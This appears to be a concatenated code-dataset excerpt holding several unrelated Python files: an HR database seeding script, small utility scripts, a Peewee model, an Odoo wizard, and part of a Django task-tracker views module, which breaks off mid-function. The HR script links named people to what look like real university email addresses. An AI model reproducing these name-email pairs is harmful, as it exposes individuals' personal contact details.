Department(Base):\n __tablename__ = 'department'\n id = Column(Integer, primary_key=True)\n is_active = Column(Boolean)\n start_date = Column(Date)\n name = Column(String(25))\n\n # Allows for reference to the employee object without search\n employee_id = Column(Integer, ForeignKey(Employee.id, ondelete='CASCADE'))\n employee = relationship(\"Employee\", back_populates=\"departments\")\n\n def __repr__(self):\n return \"\" % (self.id, self.employee_id, self.start_date, self.is_active, self.name)\n\n def to_str(self):\n return \"%s\" % self.name\n\n\ndef create_session():\n return sessionmaker(bind=engine)()\n\n\ndef default_info():\n Base.metadata.create_all(engine)\n\n import datetime\n\n session = create_session()\n\n names = [(\"Joseph\", \"Campione\", \"Sales\", \"Developer\"), (\"Matthew\", \"Chickering\", \"Manufacturing\", \"Developer\"),\n (\"Thomas\", \"DiMauro\", \"Inventory\", \"Developer\"), (\"Daniel\", \"Fehrenbach\", \"Human Resources\", \"Developer\"),\n (\"Daniel\", \"Fisher\", \"Customer Support\", \"Developer\"), (\"Samuel\", \"Friedman\", \"Human Resources\", \"Developer\"),\n (\"Joseph\", \"Gambino\", \"Manufacturing\", \"Developer\"), (\"Alexander\", \"Garrity\", \"Accounting\", \"Developer\"),\n (\"Quentin\", \"Goyert\", \"Manufacturing\", \"Developer\"), (\"Luke\", \"Harrold\", \"Inventory\", \"Developer\"),\n (\"George\", \"Herde\", \"Accounting\", \"Developer\"), (\"Paul\", \"Hulbert\", \"Human Resources\", \"Developer\"),\n (\"Joseph\", \"Jankowiak\", \"Sales\", \"Developer\"), (\"Laura\", \"King\", \"Inventory\", \"Developer\"),\n (\"Melissa\", \"Laskowski\", \"Customer Support\", \"Developer\"), (\"Cailin\", \"Li\", \"Sales\", \"Developer\"),\n (\"Rafael\", \"Lopez\", \"Manufacturing\", \"Developer\"), (\"Junwen\", \"Mai\", \"Inventory\", \"Developer\"),\n (\"Corban\", \"Mailloux\", \"Customer Support\", \"Developer\"), (\"Shannon\", \"McIntosh\", \"Accounting\", \"Developer\"),\n (\"Joshua\", \"Miller\", \"Accounting\", \"Developer\"), (\"Samuel\", \"Mosher\", \"Inventory\", \"Developer\"),\n (\"Justin\", \"Nietzel\", \"Sales\", \"Developer\"), (\"Nathan\", \"Oesterle\", \"Human Resources\", \"Developer\"),\n (\"Johnathan\", \"Sellers\", \"Manufacturing\", \"Developer\"), (\"Nicholas\", \"Swanson\", \"Sales\", \"Developer\"),\n (\"William\", \"Tarr\", \"Accounting\", \"Developer\"), (\"Jeremy\", \"Vargas\", \"Human Resources\", \"Developer\"),\n (\"Bryon\", \"Wilkins\", \"Customer Support\", \"Developer\"), (\"Eric\", \"Yoon\", \"Customer Support\", \"Developer\"),\n (\"Daniel\", \"Krutz\", \"Board\", \"Board\"), (\"Silva\", \"Matti\", \"Board\", \"Board\")]\n\n employee_count = 0\n\n for name in names:\n email = \"{0}.{1}@krutz.site\".format(name[0], name[1])\n if name[1] == \"Friedman\":\n email = \"srf1115@g.rit.edu\"\n elif name[1] == \"Hulbert\":\n email = \"pxh8242@g.rit.edu\"\n elif name[1] == \"Mailloux\":\n email = \"cdm3806@g.rit.edu\"\n elif name[1] == \"Campione\":\n email = \"jxc4577@g.rit.edu\"\n elif name[1] == \"Herde\":\n email = \"gh1823@g.rit.edu\"\n elif name[1] == \"King\":\n email = \"lxk3301@g.rit.edu\"\n elif name[1] == \"Sellers\":\n email = \"jrs9025@g.rit.edu\"\n elif name[1] == \"Krutz\":\n email = \"dxkvse@g.rit.edu\"\n elif name[1] == \"Matti\":\n email = \"sxm4161@g.rit.edu\"\n elif name[1] == \"Li\":\n email = \"cxl2467@g.rit.edu\"\n elif name[1] == \"Laskowski\":\n email = \"mxl7583@g.rit.edu\"\n elif name[1] == \"Goyert\":\n email = \"qrg1496@g.rit.edu\"\n elif name[1] == \"Mosher\":\n email = \"sam1360@g.rit.edu\"\n elif name[1] == \"Tarr\":\n email = \"wet1177@g.rit.edu\"\n employee = Employee(is_active=True, first_name=name[0], last_name=name[1], email=email, phones=0, orders=0,\n birth_date=datetime.date(1992, 2, 12), start_date=datetime.date(2017, 1, 23))\n\n salary = 0\n if name[2] != \"Board\":\n salary = random.SystemRandom().randint(50000, 100000)\n\n session.add(employee)\n session.add(Address(is_active=True, street_address=str(employee_count) + \" Lomb Memorial Drive\", city=\"Rochester\",\n state=\"New York\", zip=\"14623\", start_date=datetime.date(2017, 1, 23), employee=employee))\n session.add(Title(is_active=True, name=name[3], start_date=datetime.date(2017, 1, 23), employee=employee))\n session.add(Department(is_active=True, start_date=datetime.date(2017, 1, 23), name=name[2],\n employee=employee))\n session.add(Salary(is_active=True, amount=salary, employee=employee))\n session.commit()\n\n employee_count += 1\n\n\ndef serialize(model):\n \"\"\"Transforms a model into a dictionary which can be dumped to JSON.\"\"\"\n # first we get the names of all the columns on your model\n columns = [c.key for c in class_mapper(model.__class__).columns]\n # then we return their values in a dict\n return dict((c, getattr(model, c)) for c in columns)\n\nlogger.warning(\"Added default objects to database.\")\nprint(\"Added all objects to database.\")\n\nif __name__ == \"__main__\":\n # Populate database if it is empty. Set this to true to repopulate\n if True:\n default_info()\n","sub_path":"hr/databasesetup.py","file_name":"databasesetup.py","file_ext":"py","file_size_in_byte":9664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"145775082","text":"def getdate():\n import datetime\n x = str(datetime.datetime.now())\n return x\n\n\ndef exercise():\n exe = input(\"Which exercise have you taken?\\n\")\n return exe\n\n\ndef diet():\n die = input(\"Which food have you taken?\\n\")\n return die\n\n\ndef diet_or_exercise():\n j = 1\n while j <= 5:\n x = input(\"What do you want for lock?\\n\"\n \"1 for Diet\\n\"\n \"2 for Exercise\\n\")\n if x == \"1\":\n eat = input(\"What do you eat?\\n\")\n return eat\n else:\n print(x)\n print(f' You have {5 - j} term left')\n j = j + 1\n\n # i = 1\n # while i < 5:\n\n\ndef person():\n perso = str(input(\"Which one do you want to lock?\\n\"\n \"1 for Jubayer\\n\"\n \"2 for Anamul\\n\"\n \"3 for Shrabon\\n\"))\n return perso\n\n\ni = 1\nwhile i <= 5:\n per2 = person()\n if per2 in [\"1\", \"2\", \"3\"]:\n\n v = diet_or_exercise()\n if v:\n with open(\"Jubayer.txt\", \"a\") as f:\n a = \"[\" + getdate() + \"]\" + \" \" + v + \"\\n\"\n f.write(a)\n break\n else:\n print(f'Try again'\n f'You have {5 - i} chance')\n i = i + 1\n","sub_path":"raf4.py","file_name":"raf4.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"572598514","text":"#! /user/bin/env python\n\nimport os\nimport sys\nimport xlrd\n\n\n\n\ndef create_plotdata(kernel_name, wb_name, ws_name):\n\t\n\twb = xlrd.open_workbook(wb_name)\n\tws = wb.sheet_by_name(ws_name)\n\n\tblock_size = []\n\ttpb = []\n\ttotal_threads = []\n\tipc = []\n\tipc2 = []\n\n\twith open('../plots/' + kernel_name + '.csv', 'w') as f:\n\t\t\n\t\t# print header\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tIPC/EU GEN', file=f)\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tGPU Power (pkg – pp0 – dram) (OCL_TIMER)', file=f)\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tGPU Power', file=f)\n\t\tprint('#block size\\tthreads per block\\tTotal threads\\tTheoretical FLOP/cycle', file=f)\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tC instructions per cycle', file=f)\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tGFLOP/s/w', file=f)\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tTheoretical GFLOP/s', file=f)\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tTheoretical bandwidth read+write (GB/s)', file=f)\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tFLOP/cy (using C instructions)', file=f)\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tBandwidth/EU Read (bytes/cy)\\tBandwidth/EU Read (GB/s)', file=f)\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tBandwidth/EU Read (bytes/cy)\\tTheoretical bandwidth', file=f)\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tBandwidth/EU Read (bytes/cy)\\tTheoretical bandwidth read+write (GB/s)', file=f)\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tBandwidth/EU Read (bytes/cy)\\tBandwidth/EU Read (GB/s)', file=f)\n\t\t#print(kernel_name + '\\t' + '#block size\\tthreads per block\\tTotal threads\\tGPU Power (pkg – pp0 – dram) (OCL_TIMER)')\n\t\t\n\t\tnrows = ws.nrows\n\t\tncols = ws.ncols\n\t\t\n\t\tfor i in range(nrows):\n\t\t\tif i==0: continue\t# skip first row\n\t\t\tfor j in range(ncols):\n\t\t\t\tif j==0:\t# skip to next line if wrong kernel\n\t\t\t\t\tkernel = ws.cell_value(i,j)\n\t\t\t\t\tif kernel != kernel_name:\n\t\t\t\t\t\tbreak\n\t\t\t\telif ws.cell_value(0,j) == \"block size\":\n\t\t\t\t\tblock_size.append(ws.cell_value(i,j))\n\t\t\t\telif ws.cell_value(0,j) == \"threads per block\":\n\t\t\t\t\ttpb.append(ws.cell_value(i,j))\n\t\t\t\telif ws.cell_value(0,j) == \"Total threads\":\n\t\t\t\t\ttotal_threads.append(ws.cell_value(i,j))\n\t\t\t\t#elif ws.cell_value(0,j) == \"IPC/EU (using GEN instructions)\":\n\t\t\t\t#elif ws.cell_value(0,j) == \"GPU Power (pkg – pp0 – dram) (OCL_TIMER)\":\n\t\t\t\t#elif ws.cell_value(0,j) == \"GPU Power\":\n\t\t\t\telif ws.cell_value(0,j) == \"Theoretical FLOP/cycle\":\n\t\t\t\t#elif ws.cell_value(0,j) == \"C instructions per cycle\":\n\t\t\t\t#elif ws.cell_value(0,j) == \"GFLOP/s/w\":\n\t\t\t\t#elif ws.cell_value(0,j) == \"Theoretical bandwidth read+write (GB/s)\":\n\t\t\t\t#elif ws.cell_value(0,j) == \"Theoretical GFLOP/s\":\n\t\t\t\t\tipc.append(ws.cell_value(i,j))\n\t\t\t\t#elif ws.cell_value(0,j) == \"Bandwidth/EU Read (GB/s)\":\n\t\t\t\t\t#ipc2.append(ws.cell_value(i,j))\n\t\t\t\telse:\n\t\t\t\t\tcontinue\n\n\t\tfor i in range(len(tpb)):\n\t\t\tprint(str(block_size[i]) + '\\t', file=f, end='')\n\t\t\tprint(str(tpb[i]) + '\\t', file=f, end='')\n\t\t\tprint(str(total_threads[i]) + '\\t', file=f, end='')\n\t\t\tprint(str(ipc[i]) + '\\t', file=f, end='')\n\t\t\t#print(str(ipc2[i]) + '\\t', file=f, end='')\n\t\t\tprint('\\n', file=f, end='')\n\t\t\t#print(kernel_name + '\\t' + str(block_size[i]) + '\\t' + str(tpb[i]) + '\\t' + str(total_threads[i]) + '\\t' + str(ipc[i]) + '\\t')\n\t\n\t\n\t\ndef create_plotdata_all_simd(kernel_name, wb_name, ws_name):\n\tif 'scalar' in kernel_name:\n\t\tkernel_name_scalar = kernel_name\n\t\tkernel_name_vect2 = kernel_name.replace('scalar', 'vect2')\n\t\tkernel_name_vect4 = kernel_name.replace('scalar', 'vect4')\n\t\tkernel_name_vect8 = kernel_name.replace('scalar', 'vect8')\n\t\tkernel_name_vect16 = kernel_name.replace('scalar', 'vect16')\n\t\tcreate_plotdata(kernel_name_scalar, wb_name, ws_name)\n\t\tcreate_plotdata(kernel_name_vect2, wb_name, ws_name)\n\t\tcreate_plotdata(kernel_name_vect4, wb_name, ws_name)\n\t\tcreate_plotdata(kernel_name_vect8, wb_name, ws_name)\n\t\tcreate_plotdata(kernel_name_vect16, wb_name, ws_name)\n\telse:\n\t\tprint('Could not find \\'scalar\\' in kernel name.')\n\t\tsys.exit()\n\t\n\t\n\t\ndef create_plotdata_all_ops(kernel_name, wb_name, ws_name):\n\tif 'add' in kernel_name:\n\t\tkernel_name_add = kernel_name\n\t\tkernel_name_sub = kernel_name.replace('add', 'sub')\n\t\tkernel_name_mul = kernel_name.replace('add', 'mul')\n\t\tkernel_name_div = kernel_name.replace('add', 'div')\n\t\tkernel_name_mad = kernel_name.replace('add', 'mad')\n\t\tcreate_plotdata(kernel_name_add, wb_name, ws_name)\n\t\tcreate_plotdata(kernel_name_sub, wb_name, ws_name)\n\t\tcreate_plotdata(kernel_name_mul, wb_name, ws_name)\n\t\tcreate_plotdata(kernel_name_div, wb_name, ws_name)\n\t\tcreate_plotdata(kernel_name_mad, wb_name, ws_name)\n\telse:\n\t\tprint('Could not find \\'add\\' in kernel name.')\n\t\tsys.exit()\n\t\t\t\n\t\t\t\n\t\ndef create_plotdata_all_simd_all_ops(kernel_name, wb_name, ws_name):\n\tsimd = ['scalar', 'vect2', 'vect4', 'vect8', 'vect16']\n\tops = ['add', 'sub', 'mul', 'div', 'mad']\n\tkernel_names = []\n\tfor s in simd:\n\t\tfor o in ops:\n\t\t\tkernel_name_temp = kernel_name.replace('scalar', s)\n\t\t\tkernel_name_temp = kernel_name_temp.replace('add', o)\n\t\t\tkernel_names.append(kernel_name_temp)\n\t#print('\\n'.join(kernel_names))\n\tfor k in kernel_names:\n\t\tcreate_plotdata(k, wb_name, ws_name)\n\n\n\nif len(sys.argv) < 3:\n\tprint('Usage: summary2plotdata.py [--all-ops] [--all-simd]')\n\tsys.exit()\n\t\nkernel_name = sys.argv[1]\nwb_name = sys.argv[2]\nws_name = sys.argv[3]\n\nif len(sys.argv) > 5 and '--all-ops' in sys.argv and '--all-simd' in sys.argv:\n\tcreate_plotdata_all_simd_all_ops(kernel_name, wb_name, ws_name)\nelif len(sys.argv) > 4 and '--all-ops' in sys.argv:\n\tcreate_plotdata_all_ops(kernel_name, wb_name, ws_name)\nelif len(sys.argv) > 4 and '--all-simd' in sys.argv:\n\tcreate_plotdata_all_simd(kernel_name, wb_name, ws_name)\nelse:\n\tcreate_plotdata(kernel_name, wb_name, ws_name)\n","sub_path":"summaries/summary2plotdata.py","file_name":"summary2plotdata.py","file_ext":"py","file_size_in_byte":5892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"542860139","text":"\"\"\"\n Simple database example with Peewee ORM, sqlite and Python\n Here we define the schema\n Use logging for messages so they can be turned off\n\n\"\"\"\nimport logging\nfrom peewee import SqliteDatabase, Model, CharField, IntegerField\n# noqa # pylint: disable=too-few-public-methods\n\nlogging.basicConfig(level=logging.INFO)\nLOGGER = logging.getLogger(__name__)\n\nLOGGER.info('Here we define our data (the schema)')\nLOGGER.info('The next 3 lines of code are the only database specific code')\n\nDATABASE = SqliteDatabase('customer.db')\nDATABASE.connect()\nDATABASE.execute_sql('PRAGMA foreign_keys = ON;') # needed for sqlite only\n\n\nLOGGER.info('This means we can easily switch to a different database')\nLOGGER.info('Enable the Peewee magic! This base class does it all')\n\n\nclass BaseModel(Model):\n \"\"\"\n This class defines the DATABASE\n \"\"\"\n class Meta:\n \"\"\"\n This class defines the DATABASE\n \"\"\"\n database = DATABASE\n\nLOGGER.info('By inheritance only we keep our model \\\n (almost) technology neutral')\n\n\nclass Customer(BaseModel):\n \"\"\"\n This class defines Customer which store customer data from HP Norton.\n \"\"\"\n LOGGER.info('Note how we defined the class')\n\n LOGGER.info('Specify the fields in our model, their lengths and if mandatory')\n LOGGER.info('Must be a unique identifier for each person')\n\n id = IntegerField(primary_key=True)\n name = CharField(max_length=30)\n last_name = CharField(max_length=30)\n home_address = CharField(max_length=30)\n phone_number = CharField(max_length=30)\n email = CharField(max_length=30, null=True)\n status = CharField(max_length=30)\n credit_limit = IntegerField()\n","sub_path":"students/ethan_nguyen/Lesson04/customer_model.py","file_name":"customer_model.py","file_ext":"py","file_size_in_byte":1702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"207579975","text":"from pyvista import examples\ntexture = examples.download_puppy_texture()\ntexture\n# Expected:\n## Texture (...)\n## Components: 3\n## Cube Map: False\n## Dimensions: 1600, 1200\ntexture.to_array().shape\n# Expected:\n## (1200, 1600, 3)\ntexture.to_array().dtype\n# Expected:\n## dtype('uint8')\n","sub_path":"version/0.40/api/core/_autosummary/pyvista-Texture-to_array-1.py","file_name":"pyvista-Texture-to_array-1.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"351122428","text":"# -*- coding: utf-8 -*-\nimport time\n\nfrom odoo import api, fields, models, _\nfrom odoo.exceptions import UserError\n\n\nclass IBASSaleAdvancePaymentInv(models.TransientModel):\n _inherit = 'sale.advance.payment.inv'\n\n def _create_invoice(self, order, so_line, amount):\n invoice_vals = super(IBASSaleAdvancePaymentInv,\n self)._create_invoice(order, so_line, amount)\n\n invoice_vals.update({\n 'unit_id': order.unit_id.id,\n 'invoice_date': order.date_order,\n 'invoice_date_due': order.date_order,\n })\n return invoice_vals\n","sub_path":"ibas_realestate/wizard/sale_make_invoice_advance.py","file_name":"sale_make_invoice_advance.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"277824034","text":"# coding: UTF-8\r\n# Create your views here.\r\nfrom django.http import HttpResponseRedirect\r\nfrom django.http import HttpResponse\r\n\r\n#from django import forms\r\nfrom django.db.models.fields import BLANK_CHOICE_DASH, BLANK_CHOICE_NONE\r\nimport models as m\r\n#from m import Doc, Task\r\nfrom django.contrib import auth\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom django.contrib.auth.models import User, Group\r\nfrom django.shortcuts import render_to_response\r\nfrom django.shortcuts import redirect\r\nfrom django.core.context_processors import csrf\r\nfrom django.template import RequestContext\r\nfrom django.views.generic.list_detail import object_list, object_detail\r\nfrom django.template import Context, Template\r\nfrom django.contrib.admin.widgets import AdminDateWidget\r\n\r\n# для фильтра в списке задач и даты в шапке\r\nfrom vctasks.util import CurDate, FilterIndicator\r\nfrom django.core.urlresolvers import reverse\r\n\r\nfrom datetime import date\r\nfrom django.core.files import File\r\nfrom django.core.servers.basehttp import FileWrapper\r\nfrom vctasks.addtask.forms import SetFilterForm, ExecuteTaskForm, AppointTaskForm,AddTaskForm,\\\r\n AddFileForm, TaskForm, TaskFormManager, TaskFormCustomer,\\\r\n TaskSearchForm, ChangePasswordForm\r\nfrom django.db.models import Q\r\n\r\nimport settings\r\n\r\nfrom vctasks.secutil import get_task, get_task_filtered, get_filtered_tasklist, InvalidTaskId, TaskAccessDenied, TaskNotExists\r\n\r\n# 04.12.2012 - перенос инициализации даты откр-я из models во views\r\n\r\n@login_required\r\ndef find_task(request):\r\n if request.method=='POST':\r\n if request.POST['id']:\r\n try: task = get_task_filtered(request.user, request.POST['id'])\r\n except (InvalidTaskId):\r\n return HttpResponse(u'Неверный ID. Заявка № ' + request.POST['id'] + u' не найдена.')\r\n except (TaskNotExists):\r\n return HttpResponse(u'Не существует Заявки. Заявка № ' + request.POST['id'] + u' не найдена.')\r\n except TaskAccessDenied:\r\n return HttpResponse(u'Недостаточно прав для открытия заявки.') \r\n return redirect('/taskdetail/' + request.POST['id'] + '/')\r\n return HttpResponse(u'Номер заявки не задан.')\r\n return HttpResponse(u'Номер заявки не задан.')\r\n\r\n@login_required\r\ndef serve_base_file(request):\r\n \"\"\"\r\n Выполняет download файла, имя (URL) которого передано через параметр 'fname'\r\n запросом GET\r\n \r\n Файл загружается, если:\r\n 1. или текущий юзер является манагером либо заявителем либо исполнителем по\r\n соотв. таскам\r\n \"\"\"\r\n # Выбираем имя файла\r\n fname = ''\r\n if request.method=='GET':\r\n fname = request.GET.get('fname')\r\n else:\r\n return HttpResponse(u'Неверно передано имя файла.')\r\n if fname=='':\r\n return HttpResponse(u'Неверно передано имя файла.')\r\n docs = m.Doc.objects.filter(file=fname) \r\n if not docs:\r\n return HttpResponse(u'Указанный файл не существует.') \r\n # Проверка уникальности документа\r\n if len(docs)>1:\r\n return HttpResponse(u'Переданному имени соответствует более одного файла.\\n Загрузка невозможна.')\r\n # выбираем документ в виде документа а не в виде списка \r\n doc = m.Doc.objects.get(file=fname)\r\n # выбираем связанные задачи\r\n if not get_filtered_tasklist(request.user, doc):\r\n return HttpResponse(u'Недостаточно прав для открытия этого документа.')\r\n # определяем строгий mime-type файла \r\n import mimetypes\r\n ctype = mimetypes.guess_type(fname)\r\n f = open(settings.MEDIA_ROOT + fname, 'rb') \r\n data = FileWrapper(f)\r\n response = HttpResponse(data, content_type=ctype)\r\n import urllib\r\n response['Content-Disposition'] = 'attachment; filename=' + urllib.quote(fname.encode('utf-8')) \r\n return response\r\n \r\ndef start_page(request):\r\n return redirect('/home/')\r\n\r\n@login_required\r\ndef execute_task_form(request, ptask_id=None):\r\n \"\"\"\r\n форма отражения процесса исполнения программистом\r\n \"\"\"\r\n if not request.user.groups.filter(name='developer'):\r\n HttpResponse(u'Недостаточно прав для данной операции.')\r\n # проверяем ptask_id\r\n if ptask_id is None:\r\n # если не передан POSTом, проверим в GET\r\n if request.method=='GET':\r\n task_id = int(request.GET.get('task_id'))\r\n if task_id is None: \r\n return HttpResponse(u'Не задан task_id.')\r\n else: \r\n #return HttpResponse('ID: ' + request.POST['id'])\r\n task_id = int(request.POST['id'])\r\n if task_id is None: \r\n return HttpResponse(u'Не задан task_id.')\r\n else:\r\n task_id = ptask_id\r\n try:\r\n task = m.Task.objects.get(pk=task_id)\r\n except:\r\n return HttpResponse(u'Указан неверный task_id.') \r\n c = {}\r\n c1 = {}\r\n docs = ()\r\n form = {}\r\n c.update(csrf(request))\r\n if request.method=='POST':\r\n form = ExecuteTaskForm(request.POST)\r\n if form.is_valid():\r\n task.id = task_id\r\n task.proj = form.cleaned_data['proj'] \r\n task.exe = form.cleaned_data['exe'] \r\n task.closing_type = form.cleaned_data['closing_type'] \r\n task.ready_date = form.cleaned_data['ready_date']\r\n if not task.start_date and task.responsible:\r\n task.start_date = date.today()\r\n task.save() \r\n return redirect('/taskdetail/'+str(task_id)+'/?view=yes') \r\n else:\r\n form = ExecuteTaskForm({'id':task_id,\r\n 'proj':task.proj,\r\n 'exe':task.exe,\r\n 'closing_type':task.closing_type,\r\n 'ready_date':task.ready_date\r\n })\r\n docs = m.Task.objects.get(pk=task_id).base.all()\r\n c1.update(form=form, docs=docs, task_id=task_id, curdate=CurDate())\r\n return render_to_response('executetask.html', c1, \\\r\n context_instance=RequestContext(request, c))\r\n\r\n@login_required\r\ndef appoint_task_form(request, ptask_id=None):\r\n \"\"\"\r\n форма манагера для назначения задачи исполнителю\r\n \"\"\"\r\n if not request.user.groups.filter(name='manager'):\r\n HttpResponse(u'Недостаточно прав для данной операции.')\r\n # проверяем ptask_id\r\n if ptask_id is None:\r\n # если не передан POSTом, проверим в GET\r\n if request.method=='GET':\r\n task_id = int(request.GET.get('task_id'))\r\n if task_id is None: \r\n return HttpResponse(u'Не задан task_id.')\r\n else: \r\n task_id = int(request.POST['id'])\r\n if task_id is None: \r\n return HttpResponse(u'Не задан task_id.')\r\n else:\r\n task_id = ptask_id\r\n try:\r\n task = get_task(task_id)\r\n except:\r\n return HttpResponse(u'Указан неверный task_id.') \r\n c = {} # контекст запроса\r\n c1 = {} # доп. контекст для шаблона\r\n docs=() # список прикрепл. док-тов\r\n form={} # форма\r\n # инициализируем task\r\n c.update(csrf(request))\r\n if request.method=='POST':\r\n form = AppointTaskForm(request.POST)\r\n if form.is_valid():\r\n #return HttpResponse(form.cleaned_data['is_supervised' ])\r\n old_responsible = task.responsible \r\n task.id = task_id\r\n task.module = form.cleaned_data['module']\r\n task.manager = form.cleaned_data['manager']\r\n task.responsible = form.cleaned_data['responsible']\r\n task.date_close = form.cleaned_data['date_close']\r\n task.closing_type = form.cleaned_data['closing_type']\r\n if not task.responsible:\r\n # если отсутствует ответственный чистим дату назначения\r\n # и остальные\r\n task.appoint_date = None\r\n task.start_date = None\r\n task.ready_date = None\r\n task.date_close = None\r\n task.closing_type = None\r\n elif task.responsible != old_responsible:\r\n # если изменен ответственный, меняется дата назначения\r\n task.appoint_date = date.today()\r\n # и чистятся вехи\r\n task.start_date = None\r\n task.ready_date = None\r\n task.date_close = None\r\n task.closing_type = None\r\n task.deadline = form.cleaned_data['deadline'] \r\n if form.cleaned_data['is_supervised' ]==True:\r\n task.is_supervised = 'Y'\r\n else: task.is_supervised = 'N'\r\n task.save()\r\n c1.update(task_id=task_id, curdate=CurDate())\r\n# return render_to_response('task_registered.html', c1, \\\r\n# context_instance=RequestContext(request, c))\r\n # если манагер является девелопером,\r\n # показываем ему форму завершения заявки девелопера\r\n if request.user.groups.filter(name='developer'):\r\n return redirect('/executetask/?task_id='+ str(task_id) )\r\n return redirect('/taskdetail/' + str(task_id) + '/?view=yes' )\r\n else: \r\n return HttpResponse('Введены неверные данные.')\r\n else: \r\n # метод GET - открыта заведенная, но еще не назначенная заявка.\r\n # форма без заявки не может быть открыта.\r\n ffields = {'id':task_id, 'deadline':task.deadline, 'is_supervised':task._is_supervised(), \\\r\n 'date_close':task.date_close,'closing_type':task.closing_type}\r\n # инициализируем поля ModelChoiceField\r\n if task.module: \r\n ffields.update(module=task.module.id)\r\n if task.manager: \r\n ffields.update(manager=task.manager.id)\r\n else:\r\n from django.db.models import Count\r\n if Group.objects.get(name='manager').user_set.all().\\\r\n aggregate(Count('username'))['username__count']==1:\r\n ffields.update(manager=Group.objects.get(name='manager').user_set.all()[0])\r\n if task.responsible: \r\n ffields.update(responsible=task.responsible.id)\r\n form = AppointTaskForm(ffields)\r\n docs = m.Task.objects.get(pk=task_id).base.all()\r\n c1.update(form=form, docs=docs, task_id=task_id, curdate=CurDate())\r\n #return HttpResponse('GET:'+ str(task_id))\r\n return render_to_response('appointtask.html', c1, \\\r\n context_instance=RequestContext(request, c))\r\n\r\n@login_required\r\ndef add_file_form(request, ptask_id=None):\r\n \"\"\"\r\n форма прикрепления 0 или N файлов к таску\r\n \"\"\"\r\n # проверяем ptask_id\r\n c = {}\r\n c1 = {}\r\n docs=()\r\n form={}\r\n c.update(csrf(request))\r\n if request.method=='POST':\r\n form = AddFileForm(request.POST, request.FILES)\r\n if request.POST['task_id']: \r\n task_id = int(request.POST['task_id'])\r\n else: \r\n return HttpResponse(u'Не указан task_id.')\r\n if form.is_valid():\r\n task = m.Task.objects.get(pk=task_id)\r\n if request.FILES:\r\n # формируем контекст пркрепл. документа\r\n # сохраняем новый прикрепл. файл\r\n doc = m.Doc(file=request.FILES['attachment'])\r\n doc.save()\r\n # привязываем документ к таску\r\n task.base.add(doc) \r\n if form.cleaned_data['is_any_more']==True:\r\n # формируем список уже сохраненных документов\r\n docs = task.base.all()\r\n # формируем контекст и страницу с формой для след. файла\r\n c1.update(form=form, docs=docs, task_id=form.cleaned_data['task_id'], \\\r\n curdate=CurDate())\r\n return render_to_response('addfile4task.html', c1, \\\r\n context_instance=RequestContext(request, c))\r\n # если больше не требуется прикреплять,\r\n # манагера переводим на краткую страницу назначения исполнителя\r\n # методой GET\r\n if request.user.is_superuser or \\\r\n request.user.groups.filter(name=\"manager\"):\r\n #return redirect('/appointtask/?task_id=' + str(task_id) )\r\n c1.update(task_id=form.cleaned_data['task_id'], curdate=CurDate())\r\n return redirect('/taskdetail/' + str(task_id) + '/?view=yes')\r\n # девелоперам, не являющимся манагерами, \r\n # показываем их форму завершения заявки\r\n if request.user.groups.filter(name=\"developer\"):\r\n return redirect('/executetask/?task_id=' + str(task_id))\r\n # юзерам, которые не манагеры и не девелоперы, показываем страничку \r\n # подтверждения заявки\r\n c1.update(task_id=form.cleaned_data['task_id'], curdate=CurDate())\r\n return redirect('/taskdetail/' + str(task_id) + '/?view=yes')\r\n else: \r\n # метод GET - новая заявка, новая форма\r\n task_id = int(request.GET.get('task_id', '-1'))\r\n if task_id!=-1:\r\n form = AddFileForm({'task_id':task_id})\r\n else:\r\n form = AddFileForm()\r\n docs = m.Task.objects.get(pk=task_id).base.all()\r\n c1.update(form=form, docs=docs, task_id=task_id, curdate=CurDate())\r\n return render_to_response('addfile4task.html', c1, \\\r\n context_instance=RequestContext(request, c))\r\n \r\n@login_required\r\ndef delete_file(request, ptask_id, pdoc_id):\r\n \"\"\"\r\n удаление документа из формы прикрепления и обновление формы прикрепления\r\n оба доп. параметра обязательны\r\n \"\"\"\r\n doc = m.Doc.objects.get(pk=pdoc_id).delete()\r\n task=m.Task.objects.get(pk=ptask_id)\r\n return redirect('/addfile/?' + 'task_id=' + str(task.id) )\r\n \r\n@login_required\r\ndef delete_task(request, ptask_id):\r\n \"\"\"\r\n удаление неназначенного таска заявителем\r\n \"\"\"\r\n pass\r\n \r\n@login_required\r\ndef add_task_form(request, ptask_id=None):\r\n \"\"\"\r\n Вызов формы ввода заявки\r\n \r\n если задан ptask_id, то форма открывается на ред-е\r\n \"\"\"\r\n # проверяем ptask_id\r\n if ptask_id:\r\n try:\r\n x = int(ptask_id)\r\n except ValueError:\r\n pass\r\n c = {}\r\n c.update(csrf(request))\r\n if request.method==\"POST\":\r\n if request.user.is_superuser: # могут смотреть и менять всё\r\n return edit_task(request, ptask_id)\r\n if request.user.groups.filter(name=\"manager\"): # могут смотреть и менять всё\r\n # кроме ссылки на себя\r\n return edit_task(request, ptask_id, role='manager')\r\n # иначе - если не манагер \r\n if request.user.groups.filter(name=\"customer\"): \r\n return edit_task(request, ptask_id, role='customer')\r\n form = AddTaskForm(request.POST)\r\n if form.is_valid():\r\n \r\n task = m.Task(id=form.cleaned_data['id'], \\\r\n name=form.cleaned_data['name'], \\\r\n descr=form.cleaned_data['desc'])\r\n task.applicant = User.objects.get(username=request.user.username)\r\n 